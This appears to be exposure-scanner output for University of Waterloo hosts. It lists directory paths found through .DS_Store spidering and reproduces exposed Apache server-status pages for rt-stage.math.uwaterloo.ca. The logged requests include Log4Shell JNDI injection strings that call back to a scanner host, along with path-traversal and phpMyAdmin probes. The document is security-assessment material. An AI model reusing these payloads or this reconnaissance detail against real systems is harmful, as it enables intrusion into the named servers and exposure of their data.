/ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09c8c9af8b78c9af8b769d3006a69ac06a570132d42c7d860ab
Found 128 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/.hg/cache /MyCCCV_mag/.hg/store /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/MyDATA/academic_work /MyCCCV_mag/MyDATA/account /MyCCCV_mag/MyDATA/activities /MyCCCV_mag/MyDATA/admin /MyCCCV_mag/MyDATA/contributions /MyCCCV_mag/MyDATA/employment /MyCCCV_mag/MyDATA/lib /MyCCCV_mag/MyDATA/personal_info /MyCCCV_mag/MyDATA/reports /MyCCCV_mag/MyDATA/user_profile /MyCCCV_mag/MyDATA/welcome /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /OFIS_mag/ofis /OFIS_mag/ofis/lib /OFIS_mag/ofis/lib/sections /ofis_php_dev /ofis_php_dev/caddy-template /ofis_php_dev/crs-enrol-api /ofis_php_dev/csv-proc-dev /ofis_php_dev/csv-proc-dev/archive /ofis_php_dev/csv-proc-dev/classes /ofis_php_dev/csv-proc-dev/common /ofis_php_dev/csv-proc-dev/vendor /ofis_php_dev/eng-research-2 /ofis_php_dev/eng-research-3 /ofis_php_dev/eng-research-3/.hg /ofis_php_dev/eng-research-3/Banners /ofis_php_dev/eng-research-3/images /ofis_php_dev/eng_research-2 /ofis_php_dev/eng_research-2/Banners /ofis_php_dev/eng_research-2/images /ofis_php_dev/eng_research-2/ofis /ofis_php_dev/engevals-coop /ofis_php_dev/extractHRWorkday /ofis_php_dev/f3-test /ofis_php_dev/f3-test/common /ofis_php_dev/f3-test/config.ini /ofis_php_dev/f3-test/inc-test /ofis_php_dev/f3-test/lib /ofis_php_dev/f3-test/lib/db /ofis_php_dev/f3-test/lib/web /ofis_php_dev/f3-test/tmp /ofis_php_dev/f3-test/ui /ofis_php_dev/f3-test/ui/css /ofis_php_dev/f3-test/ui/images /ofis_php_dev/f3-test/vendor /ofis_php_dev/f3-test/vendor/composer /ofis_php_dev/fli-lat /ofis_php_dev/fli-lat-bs-repo /ofis_php_dev/fli-lat-bs-repo/tmp /ofis_php_dev/fli-lat-fnd /ofis_php_dev/fli-lat-fnd/tmp /ofis_php_dev/fli-lat-fnd/vendor /ofis_php_dev/fli-lat-html-repo /ofis_php_dev/fli-lat-html-repo1 /ofis_php_dev/fli-lat-html-repo1/tmp /ofis_php_dev/fli-php /ofis_php_dev/guis /ofis_php_dev/ldap-daniels /ofis_php_dev/msg-test /ofis_php_dev/ofis-bibtex /ofis_php_dev/ofis-for-testing /ofis_php_dev/ofis-login /ofis_php_dev/ofis-login/common /ofis_php_dev/ofis-login/public /ofis_php_dev/ofis-mac /ofis_php_dev/ofis-phones /ofis_php_dev/ofis-refactor /ofis_php_dev/ofis-to-examine /ofis_php_dev/OFIS_56-7x /ofis_php_dev/OFIS_mag /ofis_php_dev/php-router /ofis_php_dev/php-router-1 /ofis_php_dev/php-tests
Severity: medium
Fingerprint: 5f32cf5d6962f09c114fbe07114fbe077dcd0b1a9feeaa15c921bb44706ad818
Found 47 files trough .DS_Store spidering: /eio_sql_dev /eng_research /eng_research/.hg /eng_research/images /engaccred /erick /extractGSO /faculty-career /fare-1 /fare-repo /grades-proc /grades-proc-old /iap /import_ccv /mag-dev /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09c7b6beb587b6beb58d30dbe492af196641d9f1b634fef3461
Found 57 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /grades-proc /grades-proc-old /iap /import_ccv /mag-dev /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09c8ef2655c8ef2655c7af50d158c6a8a000d31b2c7357c725b
Found 71 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09c74247ea574247ea5f279b0086549b0b789bb68cca5b61a14
Found 56 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /grades-proc /grades-proc-old /iap /import_ccv /mag-dev /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09ca728a86fa728a86f62eb83a2ffccf36d3d6d9d7a5f35f27c
Found 76 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09ccbc000d9cbc000d9a84b1ee41d69027c976ef715b6c59ffd
Found 49 files trough .DS_Store spidering: /eng_research /eng_research/images /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /grades-proc /grades-proc-old /iap /import_ccv /mag-dev /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib
Severity: high
Fingerprint: 5f32cf5d6962f09c8efce1938efce19350a5fe4ee8e0c3e0854d48870a120837
Found 36 files trough .DS_Store spidering: /doit /dropcreate.sql /eng_research /eng_research/Banners /eng_research/images /erick /extractGSO /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /iap /import_ccv /mag-test /MyCCCV /OFIS /OFIS archives /OFIS BETA v1.7 archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /ranking_db /refBase /Templates /test /thirdPartyLib
Severity: high
Fingerprint: 5f32cf5d6962f09ca629b8b1a629b8b1d17349c82e3cc78aea9619e547642f2a
Found 34 files trough .DS_Store spidering: /doit /dropcreate.sql /eng_research /eng_research/Banners /eng_research/images /erick /extractGSO /fare-1 /fare-repo /iap /import_ccv /mag-test /MyCCCV /OFIS /OFIS archives /OFIS BETA v1.7 archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /ranking_db /refBase /Templates /test /thirdPartyLib
The server-status page (usually /server-status) allows server administrators to find out how well their server is performing.
This is a HTML page that gives the current server statistics such as the server version, up time,cpu, ram, and information about requests made to the server.
This information can be very useful if the application is sent sensitive information as GET requests. If you monitor this page you might be able to find CSRF tokens, API keys, hidden paths, and other sensitive information being sent to the server.
https://medium.com/@ghostlulzhacks/apache-server-status-a70abed83f5a
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb315a8542765a854276f333b19f
Apache Status
Apache Server Status for rt-stage.math.uwaterloo.ca (via 129.97.6.12)
Server Version: Apache/2.4.52 (Ubuntu) mod_fcgid/2.3.9 mod_perl/2.0.12 Perl/v5.34.0
Server MPM: prefork
Server Built: 2024-07-17T18:57:26
Current Time: Monday, 19-Aug-2024 23:21:18 EDT
Restart Time: Thursday, 15-Aug-2024 09:08:56 EDT
Parent Server Config. Generation: 6
Parent Server MPM Generation: 5
Server uptime: 4 days 14 hours 12 minutes 21 seconds
Server load: 0.00 0.00 0.00
Total accesses: 12915 - Total Traffic: 22.6 MB - Total Duration: 304573
CPU Usage: u3.95 s7.12 cu54.52 cs7.45 - .0184% CPU load
.0326 requests/sec - 59 B/second - 1833 B/request - 23.5829 ms/request
1 requests currently being processed, 8 idle workers
_____W_.__......................................................
................................................................
......................
Scoreboard Key:
"_" Waiting for Connection,
"S" Starting up,
"R" Reading Request,
"W" Sending Reply,
"K" Keepalive (read),
"D" DNS Lookup,
"C" Closing connection,
"L" Logging,
"G" Gracefully finishing,
"I" Idle cleanup of worker,
"." Open slot with no current process
SrvPIDAccMCPU
SSReqDurConnChildSlotClientProtocolVHostRequest
0-5603900/11/631_
0.00185908235510.00.021.06
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /NoAuth/Login.html?next=911dcc1e84a7bef695b232c5b3ee1cba HT
1-5603830/60/575_
0.05250508153410.00.572.93
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /NoAuth/Login.html?next=0f4baa7366343fc9455789daedc9460f HT
2-5603840/13/838_
0.012748813298780.00.192.71
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
3-5603850/8/634_
0.00186200333540.00.012.85
129.97.206.16http/1.1rt5.math.uwaterloo.ca:80GET / HTTP/1.1
4-5603940/70/614_
0.00250720186670.00.051.57
129.97.206.16http/1.1rt5.math.uwaterloo.ca:80GET / HTTP/1.1
5-5604908/14/828W
0.0000150128.70.011.49
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /server-status HTTP/1.1
6-5604960/107/400_
0.002747811311220.00.080.76
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
7-0-0/0/464.
0.00383414658700.00.000.40
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST /console/framework/skins/wlsconsole/css/%252E%252E%252Fcon
8-5603860/14/941_
0.012112913199260.00.191.67
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
9-5603870/8/814_
0.002102711402440.00.021.63
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
10-0-0/0/7.
0.00383619520890.00.000.00
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /forms/formmail.html HTTP/1.0
11-0-0/0/431.
0.00383484665260.00.000.32
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST /bootstrap/v1/verify HTTP/1.1
12-0-0/0/10.
0.0038361771480.00.000.01
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /phpmyadmin/sql.php3 HTTP/1.0
13-0-0/0/596.
0.00383106960450.00.000.46
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
14-0-0/0/422.
0.00383343537730.00.000.35
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80${jndi:iiop://129.97.133.4:38589/QUALYSTEST} / HTTP/1.1
15-0-0/0/825.
0.003432721273690.00.000.67
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
16-0-0/0/439.
0.00383434755180.00.000.30
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST /console/framework/skins/wlsconsole/images/%252E%252E%252F
17-0-0/0/213.
0.00383584423420.00.000.11
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /content/plugins/content/hikashop/ HTTP/1.1
18-0-0/0/699.
0.00383225899740.00.000.50
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
19-0-0/0/4.
0.003836184460.00.000.00
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /q79w_38jg__.shtml HTTP/1.0
20-0-0/0/465.
0.00383313750760.00.000.34
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80${jndi:corba://129.97.133.4:38589/QUALYSTEST} / HTTP/1.1
21-0-0/0/865.
0.00343272699920.00.000.72
129.97.133.7http/1.1
22-0-0/0/846.
0.00383226989250.00.001.43
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
23-0-0/0/354.
0.00383353637720.00.000.31
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST ${jndi:nis://129.97.133.4:38589/QUALYSTEST} HTTP/1.1
SrvChild Server number - generation
PIDOS process ID
AccNumber of accesses this connection / this child / this slot
MMode of operation
CPUCPU usage, number of seconds
SSSeconds since beginning of most recent request
ReqMilliseconds required to process most recent request
DurSum of milliseconds required to process all requests
ConnKilobytes transferred this connection
ChildMegabytes transferred this child
SlotTotal megabytes transferred this slot
mod_fcgid status:
Total FastCGI processes: 2
Process: rt-server.fcgi (/usr/share/request-tracker5/libexec/rt-server.fcgi)
PidActiveIdleAccessesState
6038839015036Ready60492374621859517Ready
Active and Idle are time active and time since
last request, in seconds.
Apache/2.4.52 (Ubuntu) Server at rt-stage.math.uwaterloo.ca Port 80
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb315a8542765a8542769cda928d
Apache Status
Apache Server Status for rt-stage.math.uwaterloo.ca (via 129.97.6.12)
Server Version: Apache/2.4.52 (Ubuntu) mod_fcgid/2.3.9 mod_perl/2.0.12 Perl/v5.34.0
Server MPM: prefork
Server Built: 2024-07-17T18:57:26
Current Time: Sunday, 18-Aug-2024 17:16:12 EDT
Restart Time: Thursday, 15-Aug-2024 09:08:56 EDT
Parent Server Config. Generation: 4
Parent Server MPM Generation: 3
Server uptime: 3 days 8 hours 7 minutes 15 seconds
Server load: 0.00 0.00 0.00
Total accesses: 12580 - Total Traffic: 19.9 MB - Total Duration: 284766
CPU Usage: u2.77 s5.26 cu49.61 cs5.98 - .0221% CPU load
.0436 requests/sec - 72 B/second - 1655 B/request - 22.6364 ms/request
1 requests currently being processed, 6 idle workers
_W___...__......................................................
................................................................
......................
Scoreboard Key:
"_" Waiting for Connection,
"S" Starting up,
"R" Reading Request,
"W" Sending Reply,
"K" Keepalive (read),
"D" DNS Lookup,
"C" Closing connection,
"L" Logging,
"G" Gracefully finishing,
"I" Idle cleanup of worker,
"." Open slot with no current process
SrvPIDAccMCPU
SSReqDurConnChildSlotClientProtocolVHostRequest
0-3528940/42/618_
0.00159318232510.00.051.03
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /?rest_route=/wp/v2/users/ HTTP/1.1
1-3507598/35/502W
0.0000126968.70.051.93
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /server-status HTTP/1.1
2-3507600/145/821_
0.03209455234610.00.102.38
129.97.133.7http/1.1rt-stage.math.uwaterloo.ca:80GET /helpdezk-community/ HTTP/1.1
3-3507610/18/622_
0.00209517307100.00.022.41
129.97.133.7http/1.1rt-stage.math.uwaterloo.ca:80HEAD / HTTP/1.1
4-3529890/30/544_
0.00209515186340.00.071.52
129.97.133.7http/1.1
5-2-0/0/814.
0.00621686148410.00.001.47
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /NoAuth/Login.html HTTP/1.1
6-1-0/0/293.
0.001485678310820.00.000.68
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /NoAuth/Login.html?next=461984ef85e017c932c19041f774c6a9 HT
7-0-0/0/464.
0.00275108658700.00.000.40
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST /console/framework/skins/wlsconsole/css/%252E%252E%252Fcon
8-3507620/85/924_
0.01209395147340.00.091.43
129.97.133.7http/1.1rt-stage.math.uwaterloo.ca:80GET /cubecart/ HTTP/1.1
9-3507630/62/802_
0.01209546378780.00.051.08
129.97.133.7http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
10-0-0/0/7.
0.00275313520890.00.000.00
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /forms/formmail.html HTTP/1.0
11-0-0/0/431.
0.00275178665260.00.000.32
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST /bootstrap/v1/verify HTTP/1.1
12-0-0/0/10.
0.0027531171480.00.000.01
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /phpmyadmin/sql.php3 HTTP/1.0
13-0-0/0/596.
0.00274800960450.00.000.46
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
14-0-0/0/422.
0.00275037537730.00.000.35
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80${jndi:iiop://129.97.133.4:38589/QUALYSTEST} / HTTP/1.1
15-0-0/0/825.
0.002349661273690.00.000.67
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
16-0-0/0/439.
0.00275128755180.00.000.30
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST /console/framework/skins/wlsconsole/images/%252E%252E%252F
17-0-0/0/213.
0.00275278423420.00.000.11
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /content/plugins/content/hikashop/ HTTP/1.1
18-0-0/0/699.
0.00274919899740.00.000.50
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
19-0-0/0/4.
0.002753124460.00.000.00
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /q79w_38jg__.shtml HTTP/1.0
20-0-0/0/465.
0.00275007750760.00.000.34
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80${jndi:corba://129.97.133.4:38589/QUALYSTEST} / HTTP/1.1
21-0-0/0/865.
0.00234966699920.00.000.72
129.97.133.7http/1.1
22-0-0/0/846.
0.00274920989250.00.001.43
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
23-0-0/0/354.
0.00275047637720.00.000.31
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST ${jndi:nis://129.97.133.4:38589/QUALYSTEST} HTTP/1.1
SrvChild Server number - generation
PIDOS process ID
AccNumber of accesses this connection / this child / this slot
MMode of operation
CPUCPU usage, number of seconds
SSSeconds since beginning of most recent request
ReqMilliseconds required to process most recent request
DurSum of milliseconds required to process all requests
ConnKilobytes transferred this connection
ChildMegabytes transferred this child
SlotTotal megabytes transferred this slot
mod_fcgid status:
Total FastCGI processes: 1
Process: rt-server.fcgi (/usr/share/request-tracker5/libexec/rt-server.fcgi)
PidActiveIdleAccessesState
52892314710335Ready
Active and Idle are time active and time since
last request, in seconds.
Apache/2.4.52 (Ubuntu) Server at rt-stage.math.uwaterloo.ca Port 80
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb315a8542765a854276ca98ba36
Apache Status
Apache Server Status for rt-stage.math.uwaterloo.ca (via 129.97.6.12)
Server Version: Apache/2.4.52 (Ubuntu) mod_fcgid/2.3.9 mod_perl/2.0.12 Perl/v5.34.0
Server MPM: prefork
Server Built: 2024-07-17T18:57:26
Current Time: Friday, 16-Aug-2024 16:57:16 EDT
Restart Time: Thursday, 15-Aug-2024 09:08:56 EDT
Parent Server Config. Generation: 2
Parent Server MPM Generation: 1
Server uptime: 1 day 7 hours 48 minutes 19 seconds
Server load: 0.00 0.00 0.00
Total accesses: 11807 - Total Traffic: 18.3 MB - Total Duration: 256591
CPU Usage: u1.47 s2.21 cu41.22 cs4.14 - .0428% CPU load
.103 requests/sec - 167 B/second - 1626 B/request - 21.7321 ms/request
1 requests currently being processed, 8 idle workers
_W_____.__......................................................
................................................................
......................
Scoreboard Key:
"_" Waiting for Connection,
"S" Starting up,
"R" Reading Request,
"W" Sending Reply,
"K" Keepalive (read),
"D" DNS Lookup,
"C" Closing connection,
"L" Logging,
"G" Gracefully finishing,
"I" Idle cleanup of worker,
"." Open slot with no current process
SrvPIDAccMCPU
SSReqDurConnChildSlotClientProtocolVHostRequest
0-1423800/32/550_
0.0136288227330.00.260.95
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /NoAuth/Login.html?next=209b0620419c9643b04229547b530bfd HT
1-1293638/39/425W
0.110097968.71.161.80
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /server-status HTTP/1.1
2-1293640/63/639_
0.0878948135070.00.962.19
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /?rest_route=/wp/v2/users/ HTTP/1.1
3-1293650/133/574_
0.09134403260930.00.691.72
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /static/css/fonts/inter/Inter-Medium.woff2 HTTP/1.1
4-1423970/80/456_
0.02134243176910.00.461.42
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /static/css/fonts/inter/Inter-Bold.woff2 HTTP/1.1
5-1426210/6/814_
0.05134346148410.00.541.47
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /NoAuth/Login.html HTTP/1.1
6-1427190/7/293_
0.00129398310820.00.040.68
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /NoAuth/Login.html?next=461984ef85e017c932c19041f774c6a9 HT
7-0-0/0/464.
0.00101172658700.00.000.40
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST /console/framework/skins/wlsconsole/css/%252E%252E%252Fcon
8-1293660/35/802_
0.061340721135260.00.621.23
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /Helpers/TicketHistory?id=3 HTTP/1.1
9-1293670/31/614_
0.01134403298430.00.360.93
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /static/css/fonts/inter/Inter-Regular.woff2 HTTP/1.1
10-0-0/0/7.
0.00101377520890.00.000.00
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /forms/formmail.html HTTP/1.0
11-0-0/0/431.
0.00101242665260.00.000.32
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST /bootstrap/v1/verify HTTP/1.1
12-0-0/0/10.
0.0010137571480.00.000.01
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /phpmyadmin/sql.php3 HTTP/1.0
13-0-0/0/596.
0.00100864960450.00.000.46
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
14-0-0/0/422.
0.00101101537730.00.000.35
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80${jndi:iiop://129.97.133.4:38589/QUALYSTEST} / HTTP/1.1
15-0-0/0/825.
0.00610301273690.00.000.67
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
16-0-0/0/439.
0.00101192755180.00.000.30
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST /console/framework/skins/wlsconsole/images/%252E%252E%252F
17-0-0/0/213.
0.00101342423420.00.000.11
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /content/plugins/content/hikashop/ HTTP/1.1
18-0-0/0/699.
0.00100983899740.00.000.50
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
19-0-0/0/4.
0.001013764460.00.000.00
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /q79w_38jg__.shtml HTTP/1.0
20-0-0/0/465.
0.00101071750760.00.000.34
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80${jndi:corba://129.97.133.4:38589/QUALYSTEST} / HTTP/1.1
21-0-0/0/865.
0.0061030699920.00.000.72
129.97.133.7http/1.1
22-0-0/0/846.
0.00100984989250.00.001.43
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
23-0-0/0/354.
0.00101111637720.00.000.31
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST ${jndi:nis://129.97.133.4:38589/QUALYSTEST} HTTP/1.1
SrvChild Server number - generation
PIDOS process ID
AccNumber of accesses this connection / this child / this slot
MMode of operation
CPUCPU usage, number of seconds
SSSeconds since beginning of most recent request
ReqMilliseconds required to process most recent request
DurSum of milliseconds required to process all requests
ConnKilobytes transferred this connection
ChildMegabytes transferred this child
SlotTotal megabytes transferred this slot
mod_fcgid status:
Total FastCGI processes: 2
Process: rt-server.fcgi (/usr/share/request-tracker5/libexec/rt-server.fcgi)
PidActiveIdleAccessesState
4262418334056Ready423782172712944288Ready
Active and Idle are time active and time since
last request, in seconds.
Apache/2.4.52 (Ubuntu) Server at rt-stage.math.uwaterloo.ca Port 80
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb315a8542765a854276ea97f40d
